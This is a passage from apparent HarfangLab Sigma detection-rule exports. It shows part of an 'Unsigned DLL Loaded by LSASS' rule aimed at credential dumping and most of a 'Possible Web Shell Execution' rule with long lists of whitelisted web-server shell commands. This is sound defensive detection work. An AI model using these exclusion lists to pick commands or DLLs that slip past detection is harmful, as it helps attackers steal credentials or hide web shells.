   Company: 'Microsoft Corporation'\n        Description: 'IP Helper API'\n        OriginalFileName: 'iphlpapi.dll'\n\n    exclusion_slc:\n        # SHA256: 90a88986c8c5f30fb153ec803feda6572b2c2630a6c9578fcc017800692694d5\n        # File version: 6.1.7600.16385 (win7_rtm.090713-1255)\n        ImageLoaded: '?:\\Windows\\System32\\slc.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Software Licensing Client Dll'\n        OriginalFileName: 'slcdll.dll'\n\n    exclusion_winhttp:\n        # SHA256: 52c33c1f6e18465733da0f410a8ce85a17517e66292bd01ff3ae42a142500eaa\n        # File version: 6.1.7601.24000 (win7sp1_ldr.171231-1547)\n        ImageLoaded: '?:\\Windows\\System32\\winhttp.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Windows HTTP Services'\n        OriginalFileName: 'winhttp.dll'\n\n    exclusion_wldap32:\n        # SHA256: 4fb4a459bc00ff1b8bd80d96e3031997dbf052efb29614ce4c212570fe205c38\n        # File version: 6.1.7601.23889 (win7sp1_ldr.170810-1615)\n        ImageLoaded: '?:\\Windows\\System32\\Wldap32.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Win32 LDAP API DLL'\n        OriginalFileName: 'WLDAP32.dll'\n\n    exclusion_wshtcpip:\n        # SHA256: b2025742b5f0025ace9821d5722de3f997eeeab21d2f381c9e307882df422579\n        # File version: 6.1.7601.23889 (win7sp1_ldr.170810-1615)\n        ImageLoaded: '?:\\Windows\\System32\\wshtcpip.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Winsock2 Helper DLL (TL/IPv4)'\n        OriginalFileName: 'wshtcpip.dll'\n\n    exclusion_winnsi:\n        # SHA256: 5d487e311401138ece73c734dda7b4f8d9d9058bb9e03589cf796652214c47c4\n        # File version: 6.1.7601.23889 (win7sp1_ldr.170810-1615)\n        ImageLoaded: '?:\\Windows\\System32\\winnsi.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Network Store Information RPC interface'\n        OriginalFileName: 'winnsi.dll'\n\n    exclusion_psbase:\n        # SHA256: 59d7c2a5097f83e8d07caafcf9c6f9c6849af24c28047fd4d4d6b5673ee8d089\n        # File version: 6.1.7600.16385 (win7_rtm.090713-1255)\n        ImageLoaded: '?:\\Windows\\System32\\psbase.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Protected Storage default provider'\n        OriginalFileName: 'psbase.dll'\n\n    exclusion_cfgmgr32:\n        # SHA256: 00a09caf9129e84feea98fa03ce9012c9f961b64fee15c4f268822c0f82acc3c\n        # File version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)\n        ImageLoaded: '?:\\Windows\\System32\\cfgmgr32.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Configuration Manager DLL'\n        OriginalFileName: 'cfgmgr32.dll'\n\n    exclusion_ole32:\n        # SHA256: 0d2d416279c2e0c80dc1740b5ee0f2df4484c13eed8ddf798af4e705d5373bc9\n        # File version: 6.1.7601.24537 (win7sp1_ldr_escrow.191114-1547)\n        ImageLoaded: '?:\\Windows\\System32\\ole32.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Microsoft OLE for Windows'\n        OriginalFileName: 'OLE32.dll'\n\n    exclusion_gpapi:\n        # SHA256: 82ebeb5ddd3d2e8d8877b5645868df8e2f0b07e6ce943d36cef05205905ae835\n        # File version: 6.1.7601.23452 (win7sp1_ldr.160512-0600)\n        ImageLoaded: '?:\\Windows\\System32\\gpapi.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Group Policy Client API'\n        OriginalFileName: 'gpapi.dll'\n\n    exclusion_pstorsvc:\n        # SHA256: 37c890abcac01f610f00e900a59b08cf4f17bfc49459eebf0058efe02fd628ee\n        # File version: 6.1.7600.16385 (win7_rtm.090713-1255)\n        ImageLoaded: '?:\\Windows\\System32\\pstorsvc.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Protected storage server'\n        OriginalFileName: 'Protected storage server'\n\n    exclusion_setupapi:\n        # SHA256: 12130837d7f89a2c7e9d25747a8e5b9001e0a38d545178b49b450c23ae62664a\n        # File version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)\n        ImageLoaded: '?:\\Windows\\System32\\SETUPAPI.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Windows Setup API'\n        OriginalFileName: 'SETUPAPI.dll'\n\n    exclusion_devrtl:\n        # SHA256: 63c58551f32b0b09377f64a6ae1fa81af93b8a707a57a8c18722086906ad3046\n        # File version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)\n        ImageLoaded: '?:\\Windows\\System32\\DEVRTL.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Device Management Run Time Library'\n        OriginalFileName: 'DEVRTL.dll'\n\n    exclusion_devobj:\n        # SHA256: c5e61b11ddbbbbba3d9488970524f0975ea5fbdf16e2fa31f579f8bfa48353b1\n        # File version: 6.1.7600.16385 (win7_rtm.090713-1255)\n        ImageLoaded: '?:\\Windows\\System32\\devobj.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Device Information Set DLL'\n        OriginalFileName: 'devinfoset.dll'\n\n    exclusion_samlib:\n        # SHA256: d1e9a67772108fff9083e31ed8ce8a8805ad43465ad4a21b93bc86045212c813\n        # File version: 6.1.7601.23677 (win7sp1_ldr.170209-0600)\n        ImageLoaded: '?:\\Windows\\System32\\samlib.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'SAM Library DLL'\n        OriginalFileName: 'SAMLib.dll'\n\n    exclusion_sensapi:\n        # SHA256: 3f9d4ee64e4210340c6fee0de81bfe3c613ddbe608ec09d63817d24ce24bfc5e\n        # File version: 6.1.7600.16385 (win7_rtm.090713-1255)\n        ImageLoaded: '?:\\Windows\\System32\\SensApi.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'SENS Connectivity API DLL'\n        OriginalFileName: 'SensApi.dll'\n\n    exclusion_mpr:\n        # SHA256: 0f7a80db821fde6580e9481b6da44844f717ddb4983b0e3d562be43726153951\n        # File version: 6.1.7600.16385 (win7_rtm.090713-1255)\n        ImageLoaded: '?:\\Windows\\System32\\mpr.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Multiple Provider Router DLL'\n        OriginalFileName: 'mpr.dll'\n\n    exclusion_qagentrt:\n        # SHA256: bd540499f74e8f59a020d935d18e36a3a97c1a6ec59c8208436469a31b16b260\n        # File version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)\n        ImageLoaded: '?:\\Windows\\System32\\QAgentRT.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Quarantine Agent Service Run-Time'\n        OriginalFileName: 'QAgentRT.dll'\n\n    exclusion_ntmarta:\n        # SHA256: 184547fac0c3d7148faa3f601929a7089de393bd19929a137dad743331dd3f77\n        # File version: 6.1.7600.16385 (win7_rtm.090713-1255)\n        ImageLoaded: '?:\\Windows\\System32\\ntmarta.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Windows NT MARTA provider'\n        OriginalFileName: 'ntmarta.dll'\n\n    exclusion_fveui:\n        # SHA256: 2dfbd792b68f3ebef0843183cae5d52b6fa04163808afacf6c0d738455898c36\n        # File version: 6.1.7600.16385 (win7_rtm.090713-1255)\n        ImageLoaded: '?:\\Windows\\System32\\fveui.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'BitLocker Drive Encryption UI'\n        OriginalFileName: 'FVEUI.dll'\n\n    exclusion_p2pcollab:\n        # SHA256: 1158011e4a1298dec79133b40888aa87b06f5b64ba2ab461b58c22f5f9211d0c\n        # File version: 6.1.7600.16385 (win7_rtm.090713-1255)\n        ImageLoaded: '?:\\Windows\\System32\\p2pcollab.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Peer-to-Peer Collaboration'\n        OriginalFileName: 'p2pcollab.dll'\n\n    exclusion_ncryptsslp:\n        # SHA256: 593f8a8cf0cceb342b4eb1fe70afaab69524406ec10242167591deb803dc1f5e\n        # File version: 6.3.9600.20618 (winblue_ltsb_escrow.220916-1725)\n        ImageLoaded: '?:\\Windows\\System32\\ncryptsslp.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Microsoft SChannel Provider'\n        OriginalFileName: 'ncryptsslp.dll'\n\n    exclusion_wuaueng:\n        # SHA256: 6a8a714de3cd39c8a02654db6c9c7184658f5b37a065a18a1f697d280b764600\n        # File version: 7.6.7601.24436 (win7sp1_ldr.190409-0600)\n        ImageLoaded: '?:\\Windows\\System32\\wuaueng.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Windows Update Agent'\n        OriginalFileName: 'wuaueng.dll'\n\n    exclusion_edpauditapi:\n        # SHA256: 2a7a66afd6d3853fa3b3c19daf67d1064a2183f5040cb1a1a1d4150225d8920f\n        # File version: 10.0.19041.1 (WinBuild.160101.0800)\n        ImageLoaded: '?:\\Windows\\System32\\edpauditapi.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'edpauditapi.dll'\n        OriginalFileName: 'wuaueng.dll'\n\n    exclusion_gip_cps:\n        ImageLoaded: '?:\\Program Files\\GIP-CPS\\CPSRev.dll'\n\n    exclusion_apple_bonjour_mdns:\n        ImageLoaded: '?:\\Program Files\\Bonjour\\mdnsNSP.dll'\n        Company: 'Apple Inc.'\n        Description: 'Bonjour Namespace Provider'\n\n    exclusion_gemalto:\n        ImageLoaded:\n            - '?:\\Program Files\\Gemalto\\Classic Client\\BIN\\\\*'\n            - '?:\\Program Files\\Gemalto\\Common\\Resources\\LocHub.dll'\n        Company:\n            - 'Gemalto'\n            - 'GemSafe'\n\n    exclusion_enovacom:\n        ImageLoaded: '?:\\Program Files\\Enovacom\\eSSO\\bin\\esso_rp.dll'\n        Company: 'Enovacom'\n\n    exclusion_vmware:\n        ImageLoaded: '?:\\Windows\\System32\\VMWSU_V1_0.DLL'\n        Company: 'VMware, Inc.'\n        Description: 'VMware SU Authentication Provider'\n        OriginalFileName: 'VMWSU_V1_0.DLL'\n\n    exclusion_wshhyperv:\n        # SHA256: 8ba848ac78e408b577f702cc70794b5aae03ddc1ca2fe003add905f91a60efc0\n        # File version: 10.0.14393.2969 (rs1_release.190503-1820)\n        ImageLoaded: '?:\\Windows\\System32\\wshhyperv.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Hyper-V Winsock2 Helper DLL'\n        OriginalFileName: 'wshhyperv.dll'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cb289a71-4836-4f9d-b12c-c0582903d497",
+  "rule_name": "Unsigned DLL Loaded by LSASS",
+  "rule_description": "Detects when an unsigned DLL or EXE is loaded by the LSASS process.\nAttackers may try to load DLLs in LSASS as an attempt to dump credentials off the memory.\nThis could also be a legitimate third party DLL addin features to the machine authentication mechanism.\nIt is recommended to identify the unsigned DLL to determine its maliciousness and document legitimate third party DLLs.\n",
+  "rule_creation_date": "2020-09-30",
+  "rule_modified_date": "2026-02-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cb325077-7493-4f82-9b3f-208764d322eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623245Z",
+  "creation_date": "2026-03-23T11:45:34.623247Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623252Z",
+  "rule_level": "high",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/20/g/ensiko--a-webshell-with-ransomware-capabilities.html",
+    "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/authentication-and-encryption-in-pas-web-shell-variant/",
+    "https://attack.mitre.org/techniques/T1203/",
+    "https://attack.mitre.org/techniques/T1505/003/",
+    "https://attack.mitre.org/techniques/T1190/"
+  ],
+  "name": "t1203_web_shell.yml",
+  "content": "title: Possible Web Shell Execution\nid: cb325077-7493-4f82-9b3f-208764d322eb\ndescription: |\n    Detects the execution of a suspicious shell process by a common web server software likely related to a web shell or a command injection via a vulnerable application.\n    Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network.\n    Adversaries may also backdoor web servers with web shells to establish persistent access to systems.\n    It is recommended to analyze the command-line as well as to correlate this alert with other commands executed around it from the web server to determine their legitimacy.\nreferences:\n    - https://www.trendmicro.com/en_us/research/20/g/ensiko--a-webshell-with-ransomware-capabilities.html\n    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/authentication-and-encryption-in-pas-web-shell-variant/\n    - https://attack.mitre.org/techniques/T1203/\n    - https://attack.mitre.org/techniques/T1505/003/\n    - https://attack.mitre.org/techniques/T1190/\ndate: 2021/09/17\nmodified: 2026/01/28\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1203\n    - attack.persistence\n    - attack.t1505.003\n    - attack.initial_access\n    - attack.t1190\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.InitialAccess\n    - classification.Linux.Behavior.Exploitation\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_parent_standard:\n        ParentImage|endswith:\n            - '/apache2'\n            - '/httpd'\n            - '/nginx'\n            - '/php-fpm'\n        User:\n            - 'root'\n            - 'apache'\n            - 'nginx'\n            - 'www-data'\n            - 'http'\n\n    selection_parent_php_fpm:\n        # NOTE: On Ubuntu, php-fpm have its version as a suffix...\n        ParentImage: '*php-fpm*'\n        User:\n            - 'root'\n            - 'www-data'\n            - 'php-fpm'\n            # On CentOS, default user of php-fpm is apache but it can be changed by sysadmins to nginx. Handle both case.\n            - 'apache'\n            - 'nginx'\n\n    selection_shell_execution:\n        CommandLine|contains: '-c'\n        Image|endswith:\n            - '/sh'\n            - '/bash'\n            - '/dash'\n            - '/zsh'\n\n    exclusion_system_utilities_with_args:\n        CommandLine|startswith:\n            - 'sh -c echo '\n            - 'sh -c ps '\n            - 'sh -c gs '\n            - 'sh -c uname '\n            - 'sh -c which '\n            - 'sh -c sed '\n            - 'sh -c sendmail '\n            - 'sh -c /sbin/ldconfig'\n            - 'sh -c /usr/sbin/sendmail '\n            - 'sc -c /usr/lib/sendmail '\n            - 'sh -c /usr/bin/unzip '\n            - 'sh -c date '\n            - 'sh -c exec date '\n            - 'sh -c command -v '\n            - 'sh -c 7za '\n            - 'sh -c unrar '\n            - 'sh -c rar '\n            - 'sh -c unzip '\n            - 'sh -c zip '\n            - 'sh -c xz '\n            - 'sh -c bzip2 '\n            - 'sh -c gzip '\n            - 'sh -c tar '\n            - 'sh -c sf '\n            - 'sh -c file '\n            - 'sh -c hostname '\n            - 'sh -c unoconv '\n            - 'sh -c exec /bin/hostname '\n            - 'sh -c /bin/ping -c 1 -W 1 '\n            - 'sh -c ping -c 1 -w 1'\n            - 'sh -c ping -c 1 -w 2'\n            - 'sh -c sudo quota -u '\n            - 'sh -c realpath ~'\n            - 'sh -c ionice -c '\n            - 'sh -c pdftotext '\n\n    exclusion_system_utilities_no_args:\n        CommandLine:\n            - 'sh -c uname'\n            - 'sh -c date'\n            - 'sh -c exec date'\n            - 'sh -c hostname'\n            - 'sh -c exec /bin/hostname'\n\n    exclusion_version:\n        CommandLine:\n            - 'sh -c * -version'\n            - 'sh -c * --version'\n\n    exclusion_monitoring:\n        CommandLine|startswith:\n            - 'sh -c /home/*/phpinfoserv'\n            - 'sh -c /home/*/phpexec'\n            - 'get delivery schedules'\n            - 'get trigger detail'\n            - 'get sessions'\n            - 'sh -c stat'\n            - 'sh -c /usr/bin/msmtp'\n            - 'sh -c cat /proc/uptime'\n            - 'sh -c ?cat? ?/proc/cpuinfo?'\n            - 'sh -c cat /proc/meminfo'\n            - 'sh -c ?awk? ?/MemTotal/ {print $2}? ?/proc/meminfo?'\n            - 'sh -c ?awk? ?/SwapTotal/ {print $2}? ?/proc/meminfo?'\n\n    exclusion_version_checks:\n        CommandLine:\n            - 'sh -c ghostscript -v'\n            - 'sh -c libreoffice --version'\n            - 'sh -c java --version'\n            - 'sh -c identify --version'\n            - 'sh -c HandBrakeCLI --version 2>&1'\n            - 'sh -c apachectl -V'\n            - 'sh -c pdfinfo -v 2>&1'\n\n    exclusion_custom_tools:\n        CommandLine|startswith:\n            - 'sh -c /data/'\n            - 'sh -c /opt/'\n\n    # Unfortunately it is very common for webapps to enumerate the available interfaces or ip addresses\n    exclusion_address_enumeration:\n        CommandLine|startswith:\n            - 'sh -c /bin/cat /sys/class/net/*/address'\n            - 'sh -c /sbin/ip -? addr'\n            - 'sh -c for * in * /sys/class/net/*/address'\n\n    exclusion_timedatectl:\n        CommandLine|startswith:\n            - 'sh -c timedatectl status'\n            - 'sh -c lc_all=c timedatectl status'\n\n    exclusion_gpgconf_kill:\n        CommandLine|startswith: 'sh -c /usr/bin/gpgconf --kill gpg-agent'\n\n    exclusion_supervisorctl:\n        CommandLine|startswith: 'sh -c supervisorctl status '\n\n    exclusion_centreon:\n        - CommandLine:\n            - 'sh -c /usr/bin/rrdtool -'\n            - 'sh -c /usr/bin/rrdtool - ' # 1 space at the end\n            - 'sh -c sudo service cbd reload'\n\n        # sh -c '/usr/sbin/centengine' -v /var/cache/centreon/config/engine/'37'/centengine.DEBUG 2>&1\n        - CommandLine|startswith:\n            - \"sh -c '/usr/sbin/centengine' \"\n            - 'sh -c /usr/sbin/centengine '\n\n    exclusion_nagios:\n        - CommandLine:\n            - 'sh -c /usr/bin/rrdtool fetch /usr/local/nagios/share/perfdata/*'\n            - 'sh -c rrdtool xport --step *'\n        - CommandLine|startswith:\n            - 'sh -c /usr/local/nagiosxi/'\n            - 'sh -c /usr/lib64/nagios/'\n\n    exclusion_cacti:\n        CommandLine:\n            - 'sh -c /usr/bin/rrdtool graph -*'\n            - 'sh -c /usr/bin/rrdtool info *'\n            - 'sh -c /usr/bin/php plugins/realtime/poller_rt.php *'\n            - 'sh -c pidof -o $$ -o %PPID -x ged'\n            - 'sh -c /usr/bin/rrdtool -v 2>&1'\n            - \"sh -c /usr/bin/php -q '/usr/share/cacti/install/cli_test.php' *\"\n            - \"sh -c /usr/bin/php -q '/usr/share/cacti/install/cli_check.php' extensions\"\n            - 'sh -c nproc'\n            - 'sh -c /usr/bin/snmpbulkwalk -O QnU -c *'\n            - 'sh -c /usr/bin/snmpget -V 2>&1'\n\n    exclusion_stor2rrd:\n        # /bin/sh /data/stor2rrd/stor2rrd-cgi/configuration.sh\n        # /bin/sh /data/stor2rrd/stor2rrd-cgi/glob_configuration.sh\n        # /bin/sh /data/stor2rrd/stor2rrd-cgi/graphviz.sh\n        # /bin/sh /data/stor2rrd/stor2rrd-cgi/overview.sh\n        CommandLine:\n            - '/bin/sh */stor2rrd/stor2rrd-cgi/configuration.sh'\n            - '/bin/sh */stor2rrd/stor2rrd-cgi/glob_configuration.sh'\n            - '/bin/sh */stor2rrd/stor2rrd-cgi/graphviz.sh'\n            - '/bin/sh */stor2rrd/stor2rrd-cgi/overview.sh'\n\n    exclusion_sphinx:\n        # /home/httpd/tools/sphinx-manager/web\n        CurrentDirectory: '*/sphinx-manager/web'\n        # sh -c php /etc/sphinx/sphinx.conf| grep ' log ' | awk -f'=' '{ print $2 }'\n        # sh -c php /etc/sphinx/sphinx.conf| grep path | grep force | awk -F'=' '{ print $2 }'\n        # sh -c searchd --help | head -n1\n        # sh -c git name-rev --name-only HEAD\n        # sh -c ps ax | grep indexer | grep -v grep | grep -v sudo\n        # sh -c ps ax | grep indexer | grep -v grep | grep -v sudo | grep -E '....\n        # sh -c ps ax | grep searchd | grep config | grep -v grep | awk -F'config ' '{print $2}' | tail -n1\n        # sh -c tail -n 100 /var/log/sphinx/searchd.log | sort -r\n        CommandLine:\n            - 'sh -c php /etc/sphinx/sphinx.conf*'\n            - 'sh -c searchd --help ? head -n1'\n            - 'sh -c git name-rev --name-only HEAD'\n            - 'sh -c ps ax ? grep indexer ? grep -v grep ? grep -v sudo*'\n            - 'sh -c ps ax ? grep searchd*'\n            - 'sh -c tail -n 100 /var/log/sphinx/searchd.log*'\n            - 'sh -c searchd --help | head -n1'\n            - 'sh -c tail -n 100 /var/log/sphinx/searchd.log | sort -r'\n\n    exclusion_gpg_misp:\n        # sh -c /usr/bin/gpg --status-fd '3' --command-fd '4' --no-secmem-warning --no-tty --no-default-keyring --no-options --no-permission-warning\n        # --exit-on-status-write-error --trust-model always --pinentry-mode loopback --ignore-time-conflict --ignore-valid-from --with-colons --with-fingerprint\n        # --with-fingerprint --fixed-list-mode --homedir '/var/www/MISP/.gnupg' --utf8-strings --list-secret-keys -- ....'\n        CommandLine|contains|all:\n            - '/usr/bin/gpg'\n            - '--status-fd'\n            - '--command-fd'\n            - '--fixed-list-mode'\n            - '/var/www/MISP/.gnupg'\n\n    exclusion_misp:\n        # sh -c /var/www/MISP/app/Console/cake CakeResque.CakeResque start --interval 5 --queue default > /dev/null 2>&1 &\n        CommandLine: 'sh -c /var/www/MISP/app/Console/cake CakeResque.CakeResque *'\n\n    # https://github.com/matomo-org/matomo\n    exclusion_matomo:\n        CurrentDirectory|contains: 'matomo'\n        CommandLine:\n            - 'sh -c */bin/php -r ?echo phpversion();?'\n            - \"sh -c ps x 2>/dev/null | awk '! /defunct/ {print $1}' 2>/dev/null\"\n            - 'sh -c ps x 2>/dev/null > /dev/null 2>&1; echo $\\?'\n            - 'sh -c uname -a 2> /dev/null'\n            - 'sh -c id'\n            - 'sh -c df -T -t nfs \"*matomo*/tmp/sessions\" 2>&1'\n            - 'sh -c /bin/df -kP'\n            - 'sh -c /usr/bin/php -q */matomo/console *' # and also with one\n            - \"sh -c which 'awk' 2> /dev/null\"\n            - 'sh -c ps > /dev/null 2>&1; echo $\\?'\n            - \"sh -c which 'ps' 2> /dev/null\"\n\n    exclusion_matomo_2:\n        CommandLine|contains|all:\n            - 'sh -c /usr/bin/php -q /var/www'\n            - 'matomo'\n\n    exclusion_nextcloud:\n        CommandLine:\n            - 'sh -c flatpak list --app'\n            - 'sh -c kitinerary-extractor'\n            - 'sh -c */custom_apps/mail/vendor/christophwurst/kitinerary-bin/src/../bin/kitinerary-extractor'\n\n    exclusion_openssl:\n        CommandLine:\n            - '/bin/sh -c openssl genrsa 1024'\n            - '/bin/sh -c openssl x509 -req -sha1 -CA /etc/pki/pulp/ca.crt -CAkey /etc/pki/pulp/ca.key -set_serial *'\n            - 'sh -c /usr/bin/openssl ts -reply *'\n            - 'sh -c /usr/bin/openssl ts -query *'\n            - 'sh -c /usr/bin/openssl version'\n\n    exclusion_glpi_plugins:\n        CurrentDirectory: '*glpi*'\n        CommandLine:\n            - 'sh -c /bin/df -hm |grep sd | awk *'\n            - 'sh -c /bin/df -h |grep sd | awk *'\n            - 'sh -c /usr/bin/free -tm | /usr/bin/awk *'\n            - 'sh -c uptime |cut -d\" \" -f4-8'\n            - 'sh -c /usr/bin/lsb_release -ds'\n            - 'sh -c cat /etc/os-release'\n\n    exclusion_librenms:\n        CurrentDirectory: '*librenms*' # /opt/librenms/rrd/\n        CommandLine: \"sh -c exec '/usr/bin/rrdtool' '-'\"\n\n    exclusion_inkscape:\n        CommandLine: 'sh -c ?inkscape? ?/tmp/magick-* --export-*=?/tmp/magick-* --export-dpi=* --export-background=?rgb(*)? --export-background-opacity=* > ?/tmp/magick-* 2>&1'\n\n    exclusion_exclusion_zf2:\n        CommandLine|startswith: 'sh -c php /usr/bin/zf2_cli'\n        ParentImage: '/usr/sbin/apache2'\n\n    exclusion_zoneminder:\n        CommandLine: 'sh -c /usr/bin/zmdc.pl *'\n\n    exclusion_unoconv:\n        CommandLine|startswith:\n            - 'sh -c timeout -k * sudo /usr/local/bin/unoconv.sh /mnt/'\n            - 'sh -c exec ?/usr/local/bin/unoconv'\n\n    exclusion_pmsi_pilot:\n        CommandLine|startswith: 'sh -c test -d ?/var/pmsipilot/datafiles/pmsipilot/'\n\n    exclusion_games_dealer:\n        CommandLine|startswith: 'sh -c /usr/games/dealer < /tmp/'\n\n    exclusion_png2jpg:\n        CommandLine|startswith: 'sh -c sudo /usr/local/bin/pdf2jpgConversion2.sh'\n\n    exclusion_bridgemaster:\n        CommandLine|startswith: 'sh -c ./bridgemaster'\n\n    exclusion_java:\n        CommandLine|startswith: 'sh -c export LANG=C.UTF-8; java -Djava.awt.headless=true  -Dfile.encoding=UTF8 -cp'\n\n    exclusion_codeversionmanager:\n        CommandLine|startswith:\n            - 'sh -c git '\n            - 'sh -c svn '\n            - 'sh -c cd svn '\n\n    exclusion_convertors:\n        CommandLine|startswith:\n            - 'sh -c gs -sDEVICE=pdfwrite* -dPDFSETTINGS=/default -dNOPAUSE -dQUIET -dBATCH'\n            - 'sh -c pdfdeconstruct'\n            - 'sh -c convert '\n            - 'sh -c /usr/bin/convert '\n            - 'sh -c cat ?/tmp/seda2pdf'\n            - 'sh -c catdoc -V'\n            - 'sh -c exiftool -ver'\n            - 'sh -c ffmpeg -version'\n            - 'sh -c identify '\n            - 'sh -c /usr/bin/identify '\n            - 'sh -c ?identify '\n            - 'sh -c ?/usr/bin/identify '\n            - 'sh -c /usr/bin/cwebp'\n\n    exclusion_ccrypt:\n        CommandLine|startswith: 'sh -c ccrypt -e /var/www/'\n\n    exclusion_nice:\n        CommandLine|startswith: 'sh -c nohup nice -n 10'\n\n    exclusion_fido:\n        CommandLine|startswith: 'sh -c python -m fido.fido -matchprintf'\n\n    exclusion_wkhtmltopdf:\n        CommandLine|contains: '/bin/wkhtmltopdf'\n\n    exclusion_ophtixng:\n        CommandLine|startswith: 'sh -c php /var/www/OphtixNG'\n\n    exclusion_pastell:\n        CommandLine|startswith: 'sh -c *?/var/www/pastell-*/web/api? ; /usr/bin/openssl'\n\n    exclusion_squidguard:\n        CommandLine|startswith: 'sh -c cd /var/lib/squidguard'\n\n    exclusion_kalilab:\n        - CommandLine|contains: '/var/www/kalilab/'\n        - CurrentDirectory|startswith: '/var/www/kalilab/'\n\n    exclusion_sandbox:\n        CommandLine|startswith: 'sh -c ?grep? ?BEGIN CERTIFICATE?'\n\n    exclusion_unknown_1:\n        CommandLine:\n            - 'sh -c grep ENCRYPTED \\* -l'\n            - 'sh -c stty -a | grep columns'\n\n    exclusion_asalae:\n        CommandLine|startswith: 'sh -c timeout 10.0 journalctl -u ?asalae-worker-manager.service?'\n\n    exclusion_geopsy:\n        CommandLine|contains:\n            - 'sh -c ?? -v /geopsy/www/geopsy/htdocs/download/releases/geopsypack-'\n            - '/geopsy/www/geopsy/htdocs'\n\n    exclusion_redpilot:\n        CurrentDirectory|contains: 'redpilot'\n        CommandLine|contains: 'sh -c libellename'\n\n    exclusion_pdftk:\n        CommandLine|contains: \"sh -c timeout 30 /usr/bin/pdftk '/u/apps/ikzend2\"\n\n    exclusion_httpd_foreground:\n        CommandLine|startswith: 'sh -c tput cols'\n        ParentCommandLine: '/usr/sbin/httpd -dforeground'\n\n    exclusion_bacula:\n        CommandLine|startswith: 'sh -c sudo /opt/bacula/bin/bconsole -c '\n\n    exclusion_squidgard:\n        CommandLine|contains:\n            - '/usr/bin/squidguard '\n            - '/var/log/squidguard/'\n            - '/var/lib/squidguard/'\n\n    exclusion_webkiosk_plugin:\n        CurrentDirectory: '/var/www/webkiosk-*/'\n        CommandLine: 'sh -c *'\n\n    exclusion_moodle:\n        CommandLine:\n            - '*/moodledata/*'\n            - 'sh -c ?/usr/bin/gs? -q -sDEVICE=*'\n            - 'sh -c ?/usr/bin/convert? *'\n            - 'sh -c ?/usr/bin/dvips? *'\n            - 'sh -c ?/usr/bin/latex? *'\n            - 'sh -c ?latex? *'\n\n    exclusion_plz_sandbox:\n        CommandLine: 'sh -c */tmp/plz_sandbox/*'\n\n    # https://memcourrier.edissyum.com/\n    exclusion_memcourrier:\n        CurrentDirectory: '/var/www/mem_courrier/'\n        CommandLine:\n            - 'sh -c HOME=/tmp convert -thumbnail * -background white -alpha remove *'\n            - 'sh -c php src/app/convert/scripts/FullTextScript.php --customId * --resId * --collId * --userId * > /dev/null &'\n            - 'sh -c nc -vz -w 5 * 2>&1'\n            - 'sh -c whereis xvfb-run'\n            - 'sh -c xvfb-run -a -e /dev/stderr wkhtmltopdf -B 10mm -L 10mm -R 10mm -T 10mm --load-error-handling ignore --load-media-error-handling ignore --encoding utf-8 *'\n            - 'sh -c php src/app/email/scripts/sendEmail.php *'\n            - 'sh -c crontab -l'\n            - 'sh -c pdfunite ?/var/docservers/mem/convert_mlb/*.pdf? *'\n            - 'sh -c crontab /tmp/crontab.txt'\n\n    exclusion_libreoffice:\n        CommandLine|contains|all:\n            - ' /usr/bin/libreoffice '\n            - ' --headless '\n\n    condition: 1 of selection_parent_* and selection_shell_execution and not 1 of exclusion_*\nlevel: 